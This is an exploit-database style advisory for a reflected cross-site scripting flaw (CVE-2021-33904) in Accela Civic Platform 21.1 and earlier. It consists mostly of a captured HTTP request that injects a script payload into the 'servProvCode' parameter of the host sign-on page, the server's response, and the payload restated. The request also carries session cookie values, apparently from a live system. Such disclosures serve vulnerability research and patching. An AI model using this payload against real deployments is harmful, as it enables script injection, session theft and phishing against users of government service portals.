Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)

# Exploit Title: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
# Exploit Author: Abdulazeez Alaseeri
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Tested on: JBoss server/windows
# Type: Web App
# Date: 06/07/2021
# CVE: CVE-2021-33904


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Accela Civic Platform Cross-Site-Scripting <= 21.1
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Request Heeaders start
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GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 HTTP/1.1

Host: Hidden for security reasons

Cookie: JSESSIONID=FBjC0Zfg-H87ecWmTMDEcNo8HID1gB6rwBt5QC4Y.civpnode; LASTEST_REQUEST_TIME=1623004368673; g_current_language_ext=en_US; hostSignOn=true; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.47873.0000; LATEST_SESSION_ID=lVkV3izKpk9ig1g_nqSktJ3YKjSbfwwdPj0YBFDO; LATEST_WEB_SERVER=1.1.1.1; LATEST_LB=1360578058.47873.0000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Upgrade-Insecure-Requests: 1

Te: trailers

Connection: close

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Request Heeaders end
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Response Heeaders start
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HTTP/1.1 200 OK

Expires: Wed, 31 Dec 1969 23:59:59 GMT

Cache-Control: no-cache

X-Powered-By: JSP/2.3

Set-Cookie: LASTEST_REQUEST_TIME=1623004478373; path=/; domain=.Hidden for security reasons; secure

Set-Cookie: g_current_language_ext=en_US; path=/; domain=.Hidden for security reasons; secure

Set-Cookie: hostSignOn=true; path=/; domain=.Hidden for security reasons; secure

X-XSS-Protection: 0

Pragma: No-cache

Date: Sun, 06 Jun 2021 18:34:38 GMT

Connection: close

Content-Type: text/html;charset=UTF-8

Content-Length: 13222
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Response Heeaders end
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You can notice that the parameter "servProvCode" is vulnerable to XSS.
Payload: k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9